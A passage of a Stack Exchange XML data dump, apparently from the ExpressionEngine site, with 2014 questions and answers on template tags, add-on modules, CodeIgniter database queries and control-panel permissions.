[L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the pages are something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.example.com/?/page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to remove the question mark through .htaccess or should I ask to my hosting provider to enable URL Segment Support?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2684" LastActivityDate="2015-03-04T04:41:23.127" Title="Remove question mark in URL with &quot;Force URL query strings&quot; enabled" Tags="|url|htaccess|segments|.htaccess|querystring|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24390" PostTypeId="2" ParentId="24384" CreationDate="2014-07-14T14:26:42.917" Score="2" Body="&lt;p&gt;If you are updating the users member data stored in Zoo Visitor outside of the normal checkout process of Store you should be using the &lt;code&gt;{exp:zoo_visitor:update_form}&lt;/code&gt; tag pair  instead of the &lt;code&gt;{exp:zoo_visitor:details}&lt;/code&gt; tag pair. The update tags allows for:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The update form tag can be used to update native member fields like&#xA;  password, username, screen_name, email &amp;amp; all custom fields you have&#xA;  defined in the member channel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Full &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/update.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; on the update tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:update_form}&#xA; Billing City: &amp;lt;input name=&quot;mbr_billing_city&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;{/exp:zoo_visitor:update_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are trying to update the members data during the checkout process you can simply use Store's native checkout functionality to update the member data. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; &amp;lt;label for=&quot;billing_city&quot;&amp;gt;Billing City&amp;lt;/label&amp;gt;&#xA; {field:billing_city}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want to create a custom input you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout}&#xA; &amp;lt;label for=&quot;billing_city&quot;&amp;gt;Billing City&amp;lt;/label&amp;gt;&#xA; &amp;lt;input type=&quot;text&quot; name=&quot;billing_city&quot; value=&quot;{billing_city}&quot; class=&quot;whatever&quot; /&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-14T14:26:42.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24391" PostTypeId="2" ParentId="24374" CreationDate="2014-07-14T14:56:57.543" Score="2" Body="&lt;p&gt;It's really a matter of &quot;it depends&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of factors that can help you determine whether EE is good as a long-term platform for a site, so there's no clear answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to look at what you expect your architecture to be like and determine how much bending of EE it will take to make it work. In some cases, it works just perfectly, in others, it's much easier to build on a framework instead. So I would suggest you look into how much customization it really needs. &lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-07-14T14:56:57.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24392" PostTypeId="2" ParentId="24374" CreationDate="2014-07-14T15:11:44.823" Score="2" Body="&lt;p&gt;The real value/power of EE is in the control panel, and how quickly you can pull together complex data-driven sites by not having to build an admin interface. I'm currently building a mobile app that uses a combination of Meteor and EE, and the real reason I opted for EE as a back-end solution is because it would save weeks of work using what EE does natively. With some caching you can output JSON data lightning fast. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can now operate a pretty decent CRUD API from EE: &lt;a href=&quot;http://putyourlightson.net/open-api&quot; rel=&quot;nofollow&quot;&gt;http://putyourlightson.net/open-api&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a perfect solution for every scenario, but if you're already using it I've found you can achieve things much faster than by building admin interfaces from scratch.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-07-14T15:11:44.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24393" PostTypeId="1" CreationDate="2014-07-14T15:48:03.033" Score="0" ViewCount="125" Body="&lt;p&gt;I am using the &lt;a href=&quot;https://www.objectivehtml.com/google-maps&quot; rel=&quot;nofollow&quot;&gt;Google Maps plugin by Objective HTML&lt;/a&gt; for a site I'm working on and am curious to know if it's possible to change the styling of the map it generates? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to change the styling of a map before using Google's API, but that was just for a static marker on a map. This appears to be slightly different as a plugin so I'm unsure whether a) its possible b) where specific styling code slots in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing special about the map, just a standard marker for a channel entry. But it'd be great to know how I can adjust the styles of different elements of the map i.e the water and land colours and how much detailed text is displayed.&lt;/p&gt;&#xA;" OwnerUserId="1230" LastActivityDate="2014-07-15T21:02:03.570" Title="Customizing Google Maps by Objective HTML" Tags="|google-maps-for-ee|google-maps|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24394" PostTypeId="1" AcceptedAnswerId="24414" CreationDate="2014-07-14T16:22:00.823" Score="2" ViewCount="152" Body="&lt;p&gt;Am working with Solspace Importer for the first time in EE2 and I find that I am unable to import .CSV files as entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The erorr that get is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The source data file contained either no data or invalid data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried a number of increasingly simple .csv files and none of them are working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.8.1 (latest) and Solspace Importer 2.2.4 (also latest).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewing the expressionengine/cache/importer directory I can see that the files are successfully uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to import via .XML, but NOT .CSV&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-07-15T19:41:37.527" Title="Unable to import .CSV files with Solspace Importer Module" Tags="|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24395" PostTypeId="1" CreationDate="2014-07-14T16:46:00.917" Score="1" ViewCount="137" Body="&lt;p&gt;What I need to achieve is the following - not sure the best way to go about it, hoping someone knows of an add-on or other solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) User submits an entry via Channel-Form front end. All sorted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Entry gets posted in one of 10 categories with status 'pending' - each of which has a specific Admin/Editor who is notified by email. Again sorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) On getting the email the Admin/Editor logs in to the CP and either approves or denies the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is at #3 where each of the 10 editors should see ONLY the entries posted to their own category that they are the Admin for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when two entries are placed in UK and USA categories respectively, the UK and USA admin each can login and see/approve only the entries with their country categories and not in any other country cat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously it's possible to restrict by channel - but is finer-grained control possible? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-07-16T15:04:23.090" Title="Admin Group editing entries in CP - complex permissions issue" Tags="|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24396" PostTypeId="2" ParentId="24371" CreationDate="2014-07-14T17:01:04.367" Score="1" Body="&lt;p&gt;The reason this isn't working is because the data that is stored in that database column is a JSON string. This isn't the desired behavior you are seeking. Here are some things to consider, which I think will help you get it working properly.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't need brackets surrounding your markers string. There is no reason for brackets unless you are parsing a variables containing an address string or lat/lng coordinates.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the FT to output the formatted address string or the latitude and longitude into the markers parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:static_map markers=&quot;{event_location:formatted_address}&quot; width=&quot;400&quot; height=&quot;300&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/fieldtype#formatted_address&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/fieldtype#formatted_address&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The FT also comes with Static Map outputs baked into the FT tag itself, so it's even easier than above. This will convert markers, routes, and regions into the a static map, so it's real dynamic yet easy to implement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{event_location:static_map width=&quot;400&quot; height=&quot;300&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/fieldtype#static_map&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/fieldtype#static_map&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-07-14T17:01:04.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24397" PostTypeId="1" CreationDate="2014-07-14T17:22:01.220" Score="0" ViewCount="62" Body="&lt;p&gt;MX Google Maps Version 1.5.3&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Search for these decimal GPS coordinates 52.202191,0.128201 produces&#xA;a good result&lt;/li&gt;&#xA;&lt;li&gt;Search for these decimal GPS coordinates 52.217026,0.055114 produces a bad result which is 52.212924, 0.065532 (rounded to 6 places)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These two locations are very close to each other in and around Cambridge, UK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched for these two GPS coordinates in Google Maps and get the right results. It seems that somehow MX Google Maps is either sending the wrong request to Google Maps, or it is misinterpreting the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was suspicious of the &quot;0.0&quot; part of the latitude so tried searching for 52.217026,0.155114 etc but that still produced invalid results in MX Google Maps, and good results in Google Maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2014-07-14T17:22:01.220" Title="MX Google Maps Search using GPS coordinates sometimes produces wrong result" Tags="|mx-google-map|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24398" PostTypeId="1" CreationDate="2014-07-14T17:34:24.473" Score="0" ViewCount="28" Body="&lt;p&gt;Does Solspace's Favorites module support custom fields?  Can anyone think of some other add-on or combination of add-ons that might achieve the same functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a housing directory that allows users to log in and save listings they're interested in.  I've accomplished most of that using Solspace's Favorites module.  The next bit of functionality I'd like to add is for users to be able to track their progress vis a vis the application process.  Ideally, these would simply be checkboxes as custom fields attached to each favorite.  The critical bit is obviously that it's user-specific content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been racking my brain trying to figure out how (or if) I could structure this little bit of functionality.  Any advice is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3349" LastActivityDate="2014-07-14T17:34:24.473" Title="Favorites: custom fields?" Tags="|members|solspace|users|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24399" PostTypeId="1" AcceptedAnswerId="24405" CreationDate="2014-07-14T17:41:33.983" Score="0" ViewCount="4538" Body="&lt;p&gt;I'm trying to fetch a channel entry's data from within a plugin. I was surprised that ExpressionEngine's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#entry-exists&quot; rel=&quot;nofollow&quot;&gt;Channel Entries API&lt;/a&gt; includes functions for creating, updating, deleting, and checking whether an entry exists, but no function to &lt;em&gt;get&lt;/em&gt; a channel entry. So I'm trying to use Codeigniter's &lt;code&gt;db-&amp;gt;get()&lt;/code&gt; function to fetch this data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I tried just fetching the channel data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $EE-&amp;gt;db&#xA;  -&amp;gt;select('*')&#xA;  -&amp;gt;from('exp_channel_titles')&#xA;  -&amp;gt;join('exp_channel_data',&#xA;    'exp_channel_data.entry_id = exp_channel_titles.entry_id')&#xA;  -&amp;gt;where('exp_channel_titles.entry_id' =&amp;gt; 1)&#xA;  -&amp;gt;get();&#xA;$result = $query-&amp;gt;result_array();&#xA;var_dump($result[0]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns all of the channel entry's data &lt;em&gt;except relationship data&lt;/em&gt;, unfortunately. My custom channel field with an ID of 106 is a relationship field, and I can set and update it through the ExpressionEngine CMS just fine, but when fetching the &lt;code&gt;channel_data&lt;/code&gt; in this way the field is blank and its field type is (strangely) set to &quot;xhtml&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&quot;field_id_106&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;field_ft_106&quot;]=&amp;gt; string(5) &quot;xhtml&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next I considered that maybe I need to join the &lt;code&gt;exp_relationships&lt;/code&gt; table to this query by adding a second join:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;join('exp_relationships',&#xA;  'exp_relationships.parent_id = exp_channel_titles.entry_id',&#xA;  'left outer')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this still returns a blank string of fieldtype &quot;xhtml&quot; for my relationship &lt;code&gt;field_id_106&lt;/code&gt; in the channel data returned. So, any thoughts on how to fetch relationship data along with the rest of the channel data using Codeigniter in ExpressionEngine?&lt;/p&gt;&#xA;" OwnerUserId="2838" LastActivityDate="2014-07-14T20:17:50.587" Title="How to make Codeigniter's db-&gt;get() query return relationship data" Tags="|relationships|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24400" PostTypeId="1" AcceptedAnswerId="24402" CreationDate="2014-07-14T18:22:43.283" Score="0" ViewCount="98" Body="&lt;p&gt;I've read a lot about this online and I'm not sure what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have created a custom field.&lt;/li&gt;&#xA;&lt;li&gt;In my form I set that custom field to a variable. I've confirmed in&#xA;the Chrome Dev Console that the field (a hidden text box) is showing&#xA;up and has a value of the variable.&lt;/li&gt;&#xA;&lt;li&gt;The notifications panel says that I can use custom variables for the&#xA;subject. However, it doesn't seem to matter it continues to display&#xA;the variable tags and name e.g. {my_custom_variable}.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any idea what I could be doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3350" LastActivityDate="2014-07-14T19:12:43.423" Title="Freeform: Custom field value not showing up in subject" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24401" PostTypeId="1" CreationDate="2014-07-14T18:25:31.500" Score="0" ViewCount="24" Body="&lt;p&gt;All of our records (30-40 k) got uploaded with non descriptive titles in a certain channel and I want to properly rename them in either Sequel Pro or EE. I haven't used SQL in a while so I need help creating the proper code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to have the title and title_url values regenerated based on values of other fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to be able to do things like:&#xA;If field_id_91 = [43987] [vogue-pattern-company] Vogue Pattern Company then title should be &quot;Vogue field_id_40 (field_id_41)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-07-14T18:25:31.500" Title="Batch Title Rename Help" Tags="|url-title|sql|title|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24402" PostTypeId="2" ParentId="24400" CreationDate="2014-07-14T19:12:43.423" Score="0" Body="&lt;p&gt;Make sure that you have the custom field in your composer template as well as your custom template. Otherwise, Freeform doesn't bring that field into the notification context.&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2014-07-14T19:12:43.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24403" PostTypeId="1" AcceptedAnswerId="24409" CreationDate="2014-07-14T19:20:55.750" Score="0" ViewCount="172" Body="&lt;p&gt;I'm trying to use GWcode Categories to output category last child url for an entry. Code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_2_category_id}&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;8&quot; status=&quot;open&quot; paginate=&quot;bottom&quot; dynamic=&quot;no&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;col-md-3 col-sm-6 category-item&quot;&amp;gt;&#xA;        {exp:gwcode_categories group_id=&quot;1&quot; url_title=&quot;{last_segment}&quot; last_only=&quot;yes&quot;}&#xA;        &amp;lt;a href=&quot;{site_url}{segment_1}/{segment_2}/{cat_url_title}/{url_title}&quot;&amp;gt;&#xA;            {product_image limit=&quot;1&quot;}&amp;lt;img src=&quot;{product_image:image}&quot; alt=&quot;{product_image:title}&quot; class=&quot;img-responsive&quot;&amp;gt;{/product_image}&#xA;            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/a&amp;gt; &#xA;        {/exp:gwcode_categories} &#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row row-category&quot;&amp;gt;'}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but what I'm getting is a list of all last child categories urls from the group 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue how to get last child category url per listed entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-07-14T20:44:56.737" Title="How to get category last child url for an entry" Tags="|categories|entry|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24404" PostTypeId="2" ParentId="24393" CreationDate="2014-07-14T19:28:47.163" Score="3" Body="&lt;p&gt;The easiest way to customize the map tiles is to follow this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps/examples/custom-map-styles&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps/examples/custom-map-styles&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-07-14T19:28:47.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24405" PostTypeId="2" ParentId="24399" CreationDate="2014-07-14T20:17:50.587" Score="0" Body="&lt;p&gt;The best way to get that data is in two separate queries. Because of the way the data is stored in the database, it can not be joined in the way I think you are thinking about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say in our title table we have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    entry_id    title&#xA;    1           entry 1&#xA;    2           entry 2&#xA;    3           entry 3&#xA;    4           entry 4&#xA;    5           entry 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In our relationships table&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    parent_id   child_id&#xA;    1           2&#xA;    3           4&#xA;    3           5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you try and do a join, it will not work due to entry_id 3 having two matches.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id    title       child_id    &#xA;1           entry 1     2&#xA;2           entry 2&#xA;3           entry 3     4 and 5 (you can't join two rows on a single row)&#xA;4           entry 4&#xA;5           entry 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are proficient with mysql you might could get away with using mysql's group_concat function (although this has a default limit of 1024 characters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that being said, I think the best way to do this is to get your channel data like normal, then run a separate query on the relationships table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. If you absolutely must do it in a single query, you are going to have to do regular php and mysql see &lt;a href=&quot;https://stackoverflow.com/questions/1067428/combine-multiple-child-rows-into-one-row-mysql&quot;&gt;this link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-07-14T20:17:50.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24406" PostTypeId="2" ParentId="24395" CreationDate="2014-07-14T20:31:04.890" Score="1" Body="&lt;p&gt;There are two solutions that me and my company came up with when face with a problem like yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) You can set the author of the entry to be the id of the admin from the channel form and enable the &quot;Can view channel entries authored by others&quot; in the member group settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) You can create a module and extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We ended up making a module because we had a very specific case where we couldn't change the author. &lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-14T20:31:04.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24407" PostTypeId="2" ParentId="24395" CreationDate="2014-07-14T20:36:45.470" Score="1" Body="&lt;p&gt;Admins can filter entries by category in the CP, but I suspect that what you want is a secure way of allowing admins to only see their own categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of any native way to do this in the CP, and I am unaware of any addons that will do this. Have you done a search on &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;devot-ee&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to consider approaching this via the front end where you can use the channel tag in combination with the logged_in_user_id conditional, to only list entry titles filtered by that user ID and the user's assigned category or categories. Next to each listed title, a link to a channel edit form with the link passing the entry ID. The admin can then edit the entry status, or whatever else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT STARTS HERE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will assume that you are using the channel form for the original entries, and either the author gets to set the category or you force the category via a hidden field and conditional depending on the author ID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this to work, each target admin member group's settings must look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include Members in PUBLISH page multi-author list? = &quot;yes&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can access the control panel? = &quot;yes&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can access CONTENT section = &quot;yes&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can access CONTENT: Edit = &quot;yes&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can edit entries authored by others = &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that many (30) admins, your template code is going to be rather verbose, but let's see if you can live with that. You need at least two templates. One to list an admin's entries to be authorised and one for the channel form where the status can be changed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via whatever means, (access security is up to you) you will send your admins via the front end to a template as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if logged_in_group_id == admin_id_1}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_entries channel=&quot;whatever&quot; status=&quot;pending&quot; category= admin_id_1_category_id|another_admin_id_1_category_id}&#xA;&#xA;    {entry_title}&amp;lt;a href=&quot;{path='template_group/channel_form_template}/{channel_name}/{entry_id}&quot;&amp;gt;Authorize This&amp;lt;/a&amp;gt;&#xA;&#xA;{/exp:channel_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where it gets verbose - you need one of the above for each admin, plus a default to catch any non-admins that may turn up. Or you could use PHP in your template and set the category parameter dynamically according to the logged-in admin ID&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your channel form template looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel=&quot;{segment_3}&quot;&#xA;&#xA;return=&quot;template_group/template/ENTRY_ID&quot;&#xA;&#xA;entry_id = &quot;{segment_4}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Content Label &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authorize Label &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Submit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel_form}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hesitate to mention this because it is overkill for what you want to do, but my HooBlong module has a feature that will allow you to filter inputs by category and member group, so you would not need a verbose entry listing template, and you would not need to keep updating the template if you ever needed to add/update member groups. &lt;a href=&quot;https://www.debeer.com/index.php/debeer/expressionengine_meet_multiple_memberships&quot; rel=&quot;nofollow&quot;&gt;See here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post your code if you need help debugging.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="114" LastEditDate="2014-07-16T15:04:23.090" LastActivityDate="2014-07-16T15:04:23.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24408" PostTypeId="1" CreationDate="2014-07-14T20:42:52.287" Score="0" ViewCount="69" Body="&lt;p&gt;Whenever I use an embed in my EE Postmaster parcel the only content that is displayed is the content generated by the embed. My entire template is wiped out and replaced with just the value that is returned from my embed. According to ObjectiveHTML embeds are supported so I'm hoping there is some way I can get my embed working and not breaking the rest of my template. Any tips or suggestions would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my Postmaster parcel below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;gear_orders&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;&#xA;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gear Invoice &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;Order Data&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;Order Date:  &#xA;{entry_date format=&quot;%l - %F %j, %Y&quot;}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  Order ID:  &#xA;Gear Order #{entry_id}&#xA;&#xA;&#xA;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&#xA;&#xA;&#xA;Ordered By&lt;br&gt;&#xA;{member_firstname} {member_lastname}&#xA;&#xA;&#xA;Email&lt;br&gt;&#xA;   &#xA;  {gear_ordered_by_email}&#xA;&#xA;&#xA;&#xA;Billing&lt;br&gt;&#xA;   &#xA;Employee&#xA;&#xA;&#xA;&#xA;Shipping&lt;br&gt;&#xA;{gear_ship_to}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&#xA;  &#xA;    Items Ordered&lt;br&gt;&#xA;      {member_firstname} {member_lastname}&#xA;     &#xA;     &#xA;    Total&lt;br&gt;&#xA;      {gear_order}&#xA;      &lt;p&gt;{gear_quantity} - {gear_item}   {embed=&quot;embed/.geartotal&quot; gear_product=&quot;{gear_item}&quot; gear_quantity=&quot;{gear_quantity}&quot;}&lt;/p&gt;&#xA;{/gear_order} &#xA;  &#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the content of my .geartotal embed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;gear_products&quot; dynamic=&quot;no&quot; search:title=&quot;{embed:gear_product}&quot; limit=&quot;1&quot;}&#xA;            {exp:multiply numbers=&quot;{embed:gear_quantity}|{gear_price}&quot;}&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is running on ExpressionEngine 2.5.2 with Postmaster 1.4.3&lt;/p&gt;&#xA;" OwnerUserId="3279" LastEditorUserId="3279" LastEditDate="2014-07-14T21:31:11.617" LastActivityDate="2014-07-14T21:31:11.617" Title="How to use an embed in a Postmaster parcel" Tags="|postmaster|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 